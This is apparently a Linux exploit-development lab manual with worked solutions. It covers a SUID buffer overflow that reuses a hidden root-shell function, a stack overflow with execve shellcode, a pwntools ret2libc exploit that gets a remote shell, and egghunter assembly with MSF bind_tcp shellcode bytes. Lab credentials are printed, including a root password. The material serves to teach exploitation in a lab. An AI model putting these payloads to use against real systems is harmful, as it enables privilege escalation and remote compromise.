You are on page 1of 285

Linux Exploit Development Labs

Hidden Function LAB 1

Scenario
You are performing a penetration test against the eLS
organization. After phishing a system administrator,
you end up with SSH credentials related to the
172.16.172.101 machine. Your red team manager
suggested that you first try to escalate your
privileges on the aforementioned machine through
binary exploitation. Doing so will help you remain
under the radar, since other techniques, like kernel
exploits, are a lot noisier.

The identified SSH credentials are:

● Username: student

● Password: elsstudent

Goals
● Discover a buffer overflow vulnerability in a
binary

● Examine the binary to find reusable code


● Reuse a binary's own code to spawn a root shell

● Execute some commands as the root user

What you will learn


● How to discover buffer overflow vulnerabilities on
Linux systems

● How to reuse a binary's own functions for


exploitation purposes

● How to trick the stdin

Recommended tools
● Gdb / gdb-peda

● Text editor

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Compromised machine: 172.16.172.101

● Connection Type: SSH


ssh student@172.16.172.101
password: elsstudent

Tasks
Task 1: Connect to the compromised machine
and identify interesting binaries
Using bash or any other scripting language, you might
want to examine the file system in order to quickly
locate interesting binaries. Be reminded that
vulnerable SUID binaries can result in privilege
escalation.

Task 2: Examine the interesting binary


Examine the interesting binary. Try to experiment with
the data it processes. Can you overflow the buffer?

Task 3: Find the proper offset to achieve a


precise EIP overwrite
Find the proper payload length to achieve a precise
EIP overwrite. Gdb-peda's pattern create and pattern
offset commands can help you with that.

Task 4: Find a reusable function


Inspect the binary using the debugger to find a
function that might help you achieve a root shell.
Gdb-peda's info functions would be a good start.

Task 5: Spawn a root shell


Reuse the identified function that can provide you
with a system shell. This time, try to keep the stdin
stream open in order to execute some commands as root.

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Connect to the compromised machine


and identify interesting binaries
After connecting as the student user, we notice that
no interesting files exist in the user's home
directory.

Let's use the following oneliner to find all SUID


binaries on the filesystem.

find / -perm -u=s -type f 2>/dev/null

This command above searches the filesystem starting


from the root directory ("/") for all files that have
the SUID bit set up. In order not to be spammed with
"Permission denied", the stderr is redirected to
/dev/null.

The command's output should look as follows.

After examining the output, we notice that a


non-standard SUID binary is present on the filesystem.
We can also search for its source code in the path, by
issuing the command below.

Its source code exists, but unfortunately it is not


readable by non-root users.

Task 2: Examine the interesting binary


The only thing that the identified binary does is ask
for the root password. The binary's true purpose is
still unknown.
So far, we see that the binary expects input from the
stdin. Let's generate a very long string and try to
overflow the buffer. Unfortunately, the current
directory is not writable, so in order to develop the
exploit we need to get a copy of the target binary and
save it to a writable location, for example, the
student user's desktop. Note, that now the SUID is
gone, but the addressing within the binary will stay
the same. If we can develop an exploit for copy, this
exploit will apply to the original binary as well.

Also, let's maximize the core dump limit, as follows.

python -c 'print "A"*2000' > 2k.txt


ulimit -c unlimited

If we feed the binary with the long input of "A"s, a


core file will be created.

If we now open the core in GDB, we can see that the


"A"s caused the buffer to overflow and encounter a
segmentation fault. We notice that the EIP is
0x41414141 which is the equivalent of "AAAA".
Task 3: Find the proper offset to achieve a
precise EIP overwrite
Without leaving gdb, let's create a pattern file of
length 2000 and feed it into program. We used the same
file length in the original crash. This can be done,
as follows.

We can now provide the EIP value to the pattern offset


utility, to figure out the proper offset. This can be
done, as follows.
We now know that the EIP is overwritten after 1012
bytes. Let's confirm this by creating another input
file, as follows.

python -c 'print "A"*1012 + "BBBB"' > eip.txt

We can then restore gdb by issuing the below.

gdb -q reader ./core

And then, inside gdb, let's provide the new input file
to the binary.

run < eip.txt

As you can see, we can control the EIP via the buffer
overflow vulnerability.

Task 4: Find a reusable function


Let's exit the gdb and re-run the binary under it.
Before anything else, let's issue the command below.

info functions
There are 4 functions that look like custom ones. They
don't have .plt entries. Also, their names are
non-standard.

● srtcpy -- which should not be confused with the


legitimate "strcpy" function

● runcommand

● readUserData and

● main

It is best practice to examine all curious


looking/interesting functions with the disassembly
utility. For example:

disas main

As the solutions are meant to be straightforward,


let's instantly jump to the srtcpy function.
● The function calls setuid() at 0x080484d6 with a
parameter of 0, which is pushed on the stack
immediately before the function call. It does so
to ensure that the program has root privileges.

● At 0x080484e6 there is a call to system. Before


the call, the argument is pushed onto the stack.
As system() takes a string as an argument, let's
examine one string at the address that is pushed
onto the stack right before the call to system. We
can do that as follows.

Regardless of the weird notation, this function spawns


bash as root. If we were able to supply the address of
that function to the EIP register, most likely we can
obtain a root shell. Let's try to do so. Also,
remember that the bytes have to be in reverse order.
So, let's create a new input file that will precisely
overwrite the EIP with the abovementioned address, as
follows.
python -c 'print "A"*1012 + "\xcb\x84\x04\x08"' >
root.txt

Let's know provide this input file to the binary


within the debugger, as follows.

Under the debugger we see that bash was executed.


However, bash exits immediately, and we are not able
to fully utilize it.

Let's try to figure out what is the issue...

Task 5: Spawn a root shell


The payload used to execute bash is correct. However,
this is a specific situation that requires a "trick".
Once bash is spawned, it requires some data to come
from the stdin (File Descriptor 0).

If the Stdin is closed, bash exits. This is exactly


the case. Bash is spawned, but it is immediately
getting closed. If you open the terminal, the stdin is
opened, and you can input data to bash using e.g. the
keyboard. Since now bash is opened in an unusual way -
it requires an unusual approach.
Once we feed data to the binary's stdin using the
input redirector "<", the data is fed there and then
stdin is closed. We need a way to hold it opened.

Thus, the input should be supplied in the following


way.

(cat root.txt; cat) | reader

If you type just "cat" into a bash shell, you will see
that cat is awaiting input. The stdin is held open.

Similarly, you might have already seen the below usage


of bash when writing from cat to a file.

Based on the examples above, you should now understand


that the first cat simply prints the exploit file's
content, and the second one allows to hold the stdin
open for the user's input. Those two cats are then
piped to the reader - so first, the exploit is
delivered and immediately after stdin is held open, so
you can interact with the bash shell that was spawned.
In order to spawn the root shell, simply cat the
root.txt file's content into the SUID binary, as
follows.

Linux Stack Overflow LAB 2

Scenario
You are performing yet another penetration test
against the eLS organization. After accessing an
unprotected SMB share, you end up with SSH credentials
related to the 172.16.172.62 machine. Your red team
manager once again suggested that you first try to
escalate your privileges on the aforementioned machine
through binary exploitation. Doing so will help you
remain under the radar, since other techniques, like
kernel exploits, are a lot noisier.

The identified SSH credentials are:

● Username: xdev

● Password: xdev

Goals
● Discover a buffer overflow vulnerability in a
binary

● Examine the binary and find the proper offset to


precisely overwrite the EIP

● Obtain a root reverse shell back to your attacking


machine

What you will learn


● How to examine unknown binaries

● How to discover and exploit buffer overflow


vulnerabilities on Linux systems

Recommended tools
● Gdb / gdb-peda

● Text editor

● Kali linux

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24
● Compromised machine: 172.16.172.62

● Connection Type: SSH

ssh xdev@172.16.172.101
password: xdev

Tasks
Task 1: Connect to the compromised machine
and identify interesting binaries
Using bash or any other scripting language, you might
want to examine the file system in order to quickly
locate interesting binaries. Be reminded that
vulnerable SUID binaries can result in privilege
escalation. The ltrace tool may help you perform an
initial investigation of any interesting binaries.

Task 2: Identify the buffer overflow


vulnerability
Examine the identified SUID binary. Try to experiment
with the data it processes. Can you overflow the
buffer? Focus on the arguments...

Task 3: Find the proper offset to achieve a


precise EIP overwrite
Find the proper payload length to achieve a precise
EIP overwrite. Gdb-peda's pattern create and pattern
offset commands can help you with that.
Task 4: Complete the exploit with shellcode
and spawn a root shell
Implement shellcode into your exploit and spawn a root
shell. You can use the shellcode provided in the same
directory as target binary.

Notes:

1.The created exploit may not work outside the


debugger. Leverage the created core file to debug
and investigate the area around the ESP register.
Maybe the location where you landed needs to be
re-adjusted inside the exploit...

2.The target binary should be fed with the payload


as follows.

./target_binary `python exploit_name.py`

You will notice that no core file is being created.


This can be fixed, as follows.

rm core #To remove any previous core file, created by


another "feeding" method
su root #Password: XDEVS1111bnm
echo "core" > /proc/sys/kernel/core_pattern
exit

Now ./target_binary `python exploit_name.py` will


result in a core file being created.

SOLUTIONS
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Connect to the compromised machine


and identify interesting binaries
Upon connecting through ssh, navigate to the xdev
user's Desktop and start looking around. You will
notice that a .lab directory exists. An unknown SUID
binary is present in that directory. You will also
find a shellcode file there which can help you in the
last task.

If you try to execute the binary, it segfaults.

The core dump file is not created. This can be due to


permission issues. In such a situation, you should
create a non-SUID copy of the binary and copy it to a
writable location so that you can access core dumps.
This approach will be used later, but for the time
being, let's try to investigate this binary in other
way.

Using ltrace we can see some actions that happen under


the hood. We see that the binary uses the strcpy()
function and segfaults afterwards. Moreover, there is
a setuid function so that the binary runs as root.
Setuid sets the user id of the application to an
integer. Root is user 0, thus setuid(0) makes the
application run as root.

If you look at the man page for strcpy, you will come
across the below.

man strcpy
Strcpy() is a known vulnerable function that is often
the root cause of buffer overflows. In this case, the
segfault is caused by copying from source "0", as
there is no such address. If you take a look at
strcpy's second parameter in the ltrace output, you
will notice it is 0.

We currently know that the binary copies something


non-existent, using a vulnerable function. Let's
investigate further.

Task 2: Identify the buffer overflow


vulnerability
If we try to run the executable in gdb, we can see
that we cannot simply disassemble "main". The file
command reveals that the binary was stripped, so
debugging will be a bit more difficult.

However, we already know that the binary uses


strcpy(), so we can try to reference this function by
its name when setting a breakpoint and then allow the
program to run. This can be done as follows.
If we examine the ESP at the moment of the function
call, we can see important information on the stack:
The saved return address and then arguments to the
function.

Let's examine the neighborhood of the return address,


as follows.

We can see that more instructions are there. Let's


extend the area of research, as follows.
You should bear in mind that the code is disassembled
from some random place in memory, not the perfect
beginning of the program.

However, as ltrace pointed that setuid is the first


function called by the program, when seeing it in the
disassembly we can assume that we are at the beginning
of the program's code. We can also see that:

● At 0x8048484, the first argument of strcpy, ebp +


0x8, is pushed onto the stack in the beginning of
the program. This fact creates a suspicion that
this is an argument to the program itself, a
command line argument.

● At 0x8048487, an address is loaded into the


register using the lea instruction and then pushed
onto the stack. The - what is supposed to be - the
second arguments to strcpy(), ebp - 0x182, is
later used also by puts(). So, the program
probably prints out data from a command line
argument.

Let's confirm this suspicion by running the binary


with a command line > argument in gdb, as follows.

Once the breakpoint is reached, we notice no zero.


Instead, there is a > memory address which we can
inspect, as follows.

We now know that the program was "segfaulting" at the


time of execution due to a missing command line
argument. The argument is then copied by strcpy, which
does not check its length. It looks like we are
dealing with a buffer overflow vulnerability...

Task 3: Find the proper offset to achieve a


precise EIP overwrite
After restarting the gdb, we generate a 400-byte long
pattern. Of course, your length can be different. But
be careful, an overly long buffer might cause a crash
in another place and not on the return address, making
the crash unexploitable.
We can instantly paste the pattern into the command
line argument, as follows.

We are now greeted by a segfault.

Using gdb-peda's pattern offset utility and the above


address we can identify the desired offset, as
follows.

Let's use this information to control the EIP. We will


create a string of 390 + Four bytes that will
precisely overwrite the EIP, as follows.
payload = "A"*390
payload += "BBBB"
print payload

Let's provide the new payload to the binary within


gdb, as follows.

As expected, the EIP can now be controlled. It was


overwritten with "B"s.

Task 4: Complete the exploit with shellcode


and spawn a root shell
At the moment of the crash let's inspect the content
of ESP minus a value close to the buffer length. We
can do that as follows within gdb.
We can see that our buffer starts at 0xbffff2a0 + 0x6 =
0xbffff2a6

Let's try to implement the shellcode within the


payload in the known way:

[NOPS] [Shellcode] [EIP points to the beginning of


buffer]

Let's first create a shellcode placeholder.

In Assembly, there is a breakpoint instruction named


INT3. Once encountered within a debugger, the program
will receive a SIGTRAP and will stop the execution in
the same way as if a breakpoint was set. We will use
those breakpoints ("\xcc") as a buffer placeholder in
order to see if we reliably changed the EIP to the
location where our code resides. If we use NOPs or the
shellcode immediately, the debugging process will be
more difficult, as we will not know if an error was
caused by the shellcode itself, and how many
instructions were executed before the crash happened.
In the case of INT3 the situation is clear - either
execution stops or if it didn't, then we are jumping
to the wrong place. Let's choose an address that is
not in the very beginning of the exploit buffer, for
example 0xbffff2c0.

payload = "\xcc"*390
payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
print payload
Let's provide the latest payload to the binary within
gdb, as follows.

If we now examine the EIP, we will see many more


sigtraps on our way. That is our buffer.

If we also take a look into EIP-0x20, we can see the


beginning of our buffer.

Since we know that we can reliably execute code at


this address, let's modify the exploit, as follows:

● Change the first 50 bytes to NOPs, so we hit them


for sure
● Create a shellcode placeholder - an INT3
instruction which is supposed to be hit

● Fill rest of buffer with anything

sc = "\xcc" #INT3
payload = "\x90"*50
payload += sc
payload += "A"*(390-50-len(sc))
payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
print payload

As we provide the latest payload to the binary within


gdb, we see that it works!

The program is in a SIGTRAP, as it can be seen on the


EIP dump. The next instruction is the "A" part of the
buffer.
Let's now replace the INT3 with real shellcode. For
your convenience, you can find a shellcode file in the
.lab directory (feel free to create your own shellcode
if you like):

Let's incorporate this shellcode, inside the shellcode


placeholder of our exploit.

sc =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\
x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50
payload += sc
payload += "A"*(390-50-len(sc))
payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
print payload

Once the above payload is delivered to the binary


within gdb, we can see that bash is spawned.
However, if we try the exploit outside gdb, it does
not work.

The problem is that in the gdb the environment setup


is different. There are no environment variables or
they are different, and this affects the stack
pointer.

As we are using a hardcoded address, we need to find a


way to debug the real binary.

It will not give us a segfault though (due to


permissions).

We can still copy it and try to debug the copy though.


If you are not getting the crash dump for the copy
binary, make sure you executed:

ulimit -c unlimited

By examining the core file within the gdb we notice a


SIGILL.

SIGILL means that we started to execute something


anyway, but it is not a valid instruction.

Most likely we jumped to an improper place in the


program. Let's inspect the ESP...

At 0xbffff2c0 where we jumped there is now a memory


address, which is not a valid instruction. Let's
modify the exploit so that the EIP will point to a bit
higher value, for example 0xbffff2e0.
sc =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\
x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50
payload += sc
payload += "A"*(390-50-len(sc))
payload += "\xe0\xf2\xff\xbf" #EIP = 0xbffff2c0
print payload

Now, let's run the exploit against the SUID binary.

The exploit works and we are now root.

Linux NX Bypass (ret2libc) LAB 10

Scenario
Exploit the remotely-listening binary at
172.16.172.41:4444. This is the socat fork of the local
binary "pwn3", served remotely using the below
command.

socat TCP-LISTEN:4444,reuseaddr,fork
EXEC:/home/xdev/pwn3

You can also use that command if you want to emulate


that service. However, it is recommended to develop
the exploit locally first.

ASLR is active on the system.

Goals
● Discover the buffer overflow vulnerability in the
binary

● Discover and exploit an information leak

● Use the information leak to obtain libc's base


address

● Using libc's address, calculate the addresses of


other running functions

● Obtain a shell at the remote service on


172.16.172.41:4444 using your exploit

What you will learn


● Forking local binaries with socat for remote
access

● Enhancing the ret2libc technique with an


information leak

● Bypassing DEP and ASLR at once

Recommended tools
● Gdb / gdb plugins (e.g. peda, gef)

● Text editor

● Python pwntools

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Target machine: 172.16.172.41 (port: 4444)

● Connection Type: SSH

ssh xdev@172.16.172.41
password: xdev

Tasks
Task 1: Connect to the lab and examine the
binary
Try to access the service at 172.16.172.41:4444.
Compare it with the "pwn3" binary available on xdev's
Desktop. Try to find the buffer overflow vulnerability
and control the EIP.

We used a binary from Encrypt CTF for this challenge.


The binary is available at:
https://github.com/mishrasunny174/encrypt-ctf/tree/mas
ter/pwn/x86/pwn3

Task 2: Design a ret2puts attack scenario


Check what functions are present in the binary.
Perform a ret2puts attack which results in an
information leak.

Hint: ASLR does not affect PLT or GOT, but when


referring to PLT or GOT you might be able to see
randomized locations. [The plt/got sections are not
randomized themselves, but after the loader resolves
the function names, got points to libc. libc is
randomized, so we can abuse the fact that there is a
non-randomized pointer to randomized location.]

Task 3: Leak libc's address and use it


Remember that in libc, every function is at a constant
offset from the libc base and from each other. Having
one valid address of libc may allow you to calculate
all other addresses dynamically.

Task 4: return to main and re-exploit the


binary
After leaking the information needed, return to main()
so that you are able to re-launch your attack. Use the
dynamically calculated addresses to perform a
ret2system() attack. In the end, confirm your exploit
works by attacking the remote service on
172.16.172.41:4444

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Connect to the lab and examine the


binary
After you connect through SSH, you will be able to
conclude that both the remote service and local binary
named "pwn3" are likely to be the same application,
based on the output they give.

Let's also check the properties of the binary, as


follows.
Note that the "Checksec" command used above comes
preinstalled with python pwntools, and this is not the
tool that was presented in the slides. You can use any
of them you want.

We know that this is a 32-bit executable, that the


stack is protected by NX and also that ASLR is active.

Let's develop the exploit locally, starting with


identifying the offset to the EIP, This can be done
using GDB-Peda. The application seems to receive input
from the user once, so we can assume for the moment
that there are no hidden inputs. Let's confirm that.

Gdb says that there are 140 characters needed to


overflow the EIP. Let's confirm this with a simple
crafted pattern, as follows.
We have confirmed the EIP overwrite. We can now
proceed further - as the stack is not executable, we
can place some arguments on it but we need to find a
non-randomized address of the function that can be
called in a return-style attack. The hint is: use
ret2puts.

Task 2: Design a ret2puts attack scenario


If you run the binary in the debugger again, you will
see that there are not many functions to use in the
binary itself.
These are functions available within the binary. If
you want to call any other, e.g. system, you need to
know its address in libc. Note: You might see in gdb
that system() or other libc functions are always at
the same address. However, gdb-peda disables
randomization by default for easier debugging. If you
would like to see the situation as it is, issue the
below command in gdb.

set disable-randomization on

We will use a ret2puts attack. Let's try to find an


interesting pointer that we might want to print.
First, we disassemble the main() function.

Note: We run the program, and as the prompt for


entering text appears, ctrl+C is pressed. If you
perform the below operations before, you might not find
the puts address.

There is a call to puts@plt. Puts@plt is at address


0x8048340. Let's follow it.
At 0x8048340 there is plt stub, which calls 0x80497b0.
Going further, 0x80497b0 holds an address which is the
address of puts in libc. Let's try to access that
address via a return to puts attack. Also, the last
useful address from plt will be the address of the
main() function which is also not randomized.

Task 3: Leak libc's address and use it


Let's use pwntools to prepare the exploit according to
what was said in the previous point.

Puts take only one argument, which is a pointer to a


string to print. If we feed the GOT pointer to it as
an argument, we will get the address of libc back. We
will need the following values set up on the stack:

● The address of puts@plt will overwrite the EIP

● Then, the return address should be set to main() -


so after puts prints our interesting information,
the binary will run again its main function
● The last value is an argument to puts, so the GOT
address.

Let's create an exploit using pwntools, as follows.

from pwn import *

r = process('./pwn3') #the binary is run

puts_plt = 0x8048340 #puts address in PLT - first call


from main()
puts_got = 0x80497b0 #puts address in GOT - it points
to the libc address
main = 0x0804847d #address of main from PLT

payload = ""
payload += "A"*140 #junk buffer
payload += p32(puts_plt) #EIP overwrite
payload += p32(main) #return address
payload += p32(puts_got) #argument to puts()

r.recvuntil('desert:') #receive program output until


words "desert: "
r.sendline(payload) #send the exploit buffer, puts
will run here
r.recvline() #receive the line of output the program
sends back

leak = u32(r.recvline()[:4]) #after the first line,


the leak is present in the first bytes of the
remaining output.
#We want four characters from the beginning ([:4])
#Then, as they are in in-memory order, we unpack it
with u32()
log.info('puts@libc is at: {}'.format(hex(leak)))
#The leaked value is printed.

The exploit can be run multiple times. Each time, the


libc address is a bit different due to ASLR.

Now, we can use this address to calculate all other


addresses in libc. Let's take a look into gdb to
collect the proper offsets required for a ret2system
attack.

Let's perform calculations of the offsets.


We can implement that logic into the exploit, at the
end of its current code, as follows.

libc_base = leak - 0x5fca0


system = libc_base + 0x3ada0
exit = libc_base + 0x2e9d0
binsh = libc_base + 0x15ba0b

log.info('system@libc is at: {}'.format(hex(system)))


log.info('exit@libc is at: {}'.format(hex(exit)))
log.info('binsh@libc is at: {}'.format(hex(binsh)))

And upon execution, we see the following result.

Task 4: return to main and re-exploit the


binary
As we used the address of main() as the return
address, the only thing to do should be to update the
buffer with new addresses and send it again.

The setup should be as follows.

● 140 bytes of junk buffer

● The address of system will overwrite EIP

● Next is the address of Exit (return address)

● Then the address of "/bin/sh"


But, adding the below fragment and running the exploit
results in a crash.

However, you will receive a segmentation fault.


Apparently, the offset to the EIP is different when
re-calling the main function.

However, one glance into GDB shows that there are 8


additional bytes of "A".

The address of the system is right after the


0x41414141 visible on the stack.
We just need to adjust the payload by 8 bytes, so that
the second buffer is 132 and not 140 bytes.

Let's also try to run the exploit against the remote


service. This can also be done using pwntools, simply
change one line, as follows.

Launching the exploit against the remote service


results in a root shell

Here is the final exploit code:

from pwn import *

#r = process('./pwn3') #the binary is run


r = remote("172.16.172.41", 4444)
puts_plt = 0x8048340 #puts address in PLT - first call
from main()
puts_got = 0x80497b0 #puts address in GOT - it points
to the libc address
main = 0x0804847d #address of main from PLT

payload = ""
payload += "A"*140 #junk buffer
payload += p32(puts_plt) #EIP overwrite
payload += p32(main) #return address
payload += p32(puts_got) #argument to puts()

r.recvuntil('desert:') #receive program output until


words "desert: "
r.sendline(payload) #send the exploit buffer, puts
will run here
r.recvline() #receive the line of output program sends
back
leak = u32(r.recvline()[:4]) #after the first line,
the leak is present in the first bytes of the
remaining output.
#We want four characters from the beinning ([:4])
#Then, as they are in in-memory order, we unpack it
with u32()

log.info('puts@libc is at: {}'.format(hex(leak))) #


The leaked value is printed.

libc_base = leak - 0x5fca0


system = libc_base + 0x3ada0
exit = libc_base + 0x2e9d0
binsh = libc_base + 0x15ba0b

log.info('system@libc is at: {}'.format(hex(system)))


log.info('exit@libc is at: {}'.format(hex(exit)))
log.info('binsh@libc is at: {}'.format(hex(binsh)))

payload = ""
payload = "A"*132
payload += p32(system)
payload += p32(exit)
payload += p32(binsh)

log.info('Re-exploiting the main().')


r.recvuntil('desert: ')
r.sendline(payload)
r.interactive()

Linux Shellcoding LAB 13

Scenario
Your red team manager, asked you to get familiar with
Linux egghunter shellcodes. An egghunter shellcode can
prove extremely helpful in case of an overflow where
the available buffer size is too small to accomodate
traditional shellcode payloads.

An egghunter shellcode scans/iterates through the


virtual address space searching for a pre-defined
pattern. Once this pattern is located the subsequent
instructions in memory are executed (the execution
flow is redirected there). These instructions are the
exploit's payload. For an egghunter shellcode to be
effective, there must be an alternative way to store a
payload in memory (since the original way provides us
with limited buffer space). You will see such cases in
the Windows exploit development section (yes,
egghunters are applicable on Windows as well).
To dive deeper into the concept of egghunters please
study the below resource:
http://www.hick.org/code/skape/papers/egghunt-shellcod
e.pdf

Your tasks are:

1.Understand all assembly steps of the access(2)


egghunter variant (look into the paper above) and
how it can be built from scratch

2.Extract this variant's shellcode

3.Create an egghunter shellcode-testing program in C,


that will search for the pre-defined pattern/tag in
memory and once it locates it it will execute an
MSF bind_tcp shellcode

You will be given access to an Ubuntu (32-bit) machine


(172.16.172.151) that features everything you need.
You can use it for compiling, debugging and testing
purposes.

Goals
● Understand how the access(2) egghunter variant can
be built in Assembly

● See how the access(2) egghunter variant works in


action through a shellcode-testing C program.

What you will learn


● The mechanics behind the access(2) egghunter
shellcode

● Extracting and using an egghunter shellcode

Recommended tools
● nasm

● gcc

● objdump

● netcat

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.151

● Connection Type: SSH

Username: xdev
Password: xdev

Tasks
Task 1: Learn about memory pages on 32-bit
Linux systems and the access system call
In order to search within a 32-bit Linux system's
memory, you first need to understand how the memory
pages are laid out. Refer to the following source to
learn more about this subject.
https://manybutfinite.com/post/how-the-kernel-manages-
your-memory/ As far as the access syscall is
concerned, we can learn more about it by issuing a man
2 access command.

Task 2: Understand all access(2) egghunter's


mechanics and construct it in Assembly from
scratch
As we already covered, the Assembly language is the
closest thing to shellcoding. After studying the
mechanics of the access(2) egghunter variant, try to
construct it from scratch in Assembly.

Task 3: Extract the shellcode of the


access(2) egghunter variant
Utilize, objdump to extract the shellcode of the
access(2) egghunter variant from the egghunter's
Assembly implementation.

Task 4: Create an egghunter-shellcode-testing


program in C
Create an egghunter-shellcode-testing program in c,
that will search for the pre-defined egg in memory and
once it locates it it will execute an MSF-created
bind_tcp shellcode.
The extracted egghunter shellcode (from Task 3) is:

\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x
0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74
\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2
MSF's bind_tcp shellcode (port 1234) is:
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x
cd\x80\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50
\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x
66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd
\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x
6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Learn about memory pages on 32-bit


Linux systems and the access system call
https://manybutfinite.com/post/how-the-kernel-manages-
your-memory/ mentions that Linux maps the user portion
of the virtual address space using 4KB pages. This
means that for example, bytes ranging from 0 to 4095
fall in page 0.

Egghunter shellcodes search through memory pages


looking for the pre-defined egg/tag/pattern. At this
point, it should be noted that if we instruct the
egghunter shellcode to look for the egg in page 0 and
the utilized syscall returns an exit code that informs
us of insufficient memory page access rights, we can
skip the current page and proceed to the next one.

The access syscall is being used by the access(2)


egghunter variant, as follows.

● According to its man page, access checks if the


calling process (the egghunter) can access the
file pathname.

● access's arguments are int access(const char


*pathname, int mode); where const char *pathname
is a location in memory to check (ebx register)
and int mode will be F_OK which has a value of 0
(ecx register)

● Portions of the eax register are being used by


syscalls to store their exit codes. The exit code
of not accessible memory (EFAULT) is 14. Upon the
system call's return, the low byte of the eax
register (which holds the return value from the
system call) can be compared against 0xf2 (which
represents the low byte of EFAULT return value).
If the result is a match, the zero flag will be
set. In that case, we can skip this page (not
accessible) and proceed to the next one. If access
returns any other value, the egghunter should keep
searching/iterating through this page since it
will be accessible.

Note: The egg should be prepended to the actual


shellcode twice. Doing so will ensure that the
egghunter doesn't stop to a similar pattern that may
reside in memory by chance (uniqueness). A repeated
egg is also good for performance purposes.
Task 2: Understand all access(2) egghunter's
mechanics and construct it in Assembly from
scratch
Let's start with a basic Assembly layout and then, we
will try to construct the access(2) egghunter based on
the provided paper that describes its mechanics. Note
that this is just one approach, there are multiple
ways to implement what the paper describes.

global _start

section .txt
_start:

Then, let's store the egg (\x90\x50\x90\x50) in a


register.

global _start

section .txt
_start:

mov ebx, 0x50905090

Let's now clear the ecx, eax and edx registers. This
can be done through the mul opcode. The mul opcode
will multiply its operand against the eax register and
store the result in eax and edx. In this occasion
multiplication will occur by 0 and as a result 0 will
be stored in both eax and edx.

The above can be implemented in Assembly, as follows.

xor ecx, ecx


mul ecx
As already mentioned, we will skip pages of memory
that the egghunter cannot access (al = 0xf2) and
proceed to the next one. Some page alignment should
take place. Specifically, something like add dx, 4095
needs to be implemented, followed by a inc edx later
on (4096 is 0x1000 in hex, introducing a NULL byte is
not a good idea). In Assembly, this can be done within
a function, as follows.

page_alignment:
or dx, 0xfff ; this is the same as "add dx, 4095"

As discussed, edx should be incremented by one (so


that we get a multiple of 4096).

Our current register values should also be pushed onto


the stack for later use during syscalls. The pushad
opcode is perfect for that.

Next, we will need to check if the bytes where the


access's const char *pathname argument points to are
accessible and their contents as well (ebx should
contain the address of edx+4). Finally, the system
call number for accept is 33 (0x21), this needs to be
loaded into al (as explained in Task 1).

All the above can be implemented within an Assembly


function, as follows.

address_inspection:
inc edx
pushad
lea ebx, [edx +4]
mov al, 0x21
int 0x80

So far we have declared two functions page_alignment


and address_inspection.
To proceed further, we will focus on the return code
of accept and also restore the registers through pops
(their syscall-related duty is done). If al contains
0xf2, then an EFAULT was encountered indicating that
the current memory page cannot be accessed. In this
case, we will have to JMP to our page_alignment
function and proceed to the next page. If the memory
page can be accessed by the egghunter, then, we will
have to compare the values of edx and ebx (ebx
contains the egg). If the two values don't match, we
will have to JMP to our address_inspection function
and keep iterating through the current memory page. If
the two values match, then we will have to see if this
is also the case for [edx]+4 (remember the we have to
prepend the egg twice). All comparisons can be
executed through the CMP opcode. If both CMP calls
result in zeroes, then we will have to JMP to edx,
which points to the actual payload. All the above can
be implemented in Assembly, as follows.

cmp al, 0xf2


popad
jz page_alignment

cmp [edx], ebx


jnz address_inspection

cmp [edx+4], ebx


jnz address_inspection

jmp edx

The complete Assembly implementation of the access(2)


egghunter variant, is the below.

global _start
section .text
_start:

mov ebx, 0x50905090


xor ecx, ecx
mul ecx

page_alignment:
or dx, 0xfff

address_inspection:
inc edx
pushad
lea ebx, [edx+4]
mov al, 0x21
int 0x80

cmp al, 0xf2


popad
jz page_alignment

cmp [edx], ebx


jnz address_inspection

cmp [edx+4], ebx


jnz address_inspection

jmp edx

Task 3: Extract the shellcode of the


access(2) egghunter variant
As we already now, in order to extract shellcode from
an Assembly implementation, we first need to assemble
what was implemented.

Transfer the access(2) egghunter's Assembly


implementation to the 172.16.172.151 machine. Place it
on the xdev user's Desktop directory. The SSH
credentials are in section NETWORK CONFIGURATION &
CREDENTIALS of this lab manual.

If we name the access(2) egghunter's Assembly


implementation egghunter.nasm, then we need to perform
the following.

cd Desktop/
nasm -f elf32 -o egghunter.o egghunter.nasm

Now the access(2) egghunter's shellcode can be


extracted, as follows.

objdump -d egghunter.o |grep '[0-9a-f]:'|grep -v


'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' '
'|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed
's/^/"/'|sed 's/$/"/g'
Task 4: Create an egghunter-shellcode-testing
program in C
Find below a C program (shellcode_tester.c), , that
will search for the pre-defined egg in memory and once
it locates it, it will execute an MSF-created bind_tcp
shellcode (port 1234). Notice that we prepended the
egg (\x90\x50\x90\x50) twice on the bind_tcp
shellcode.

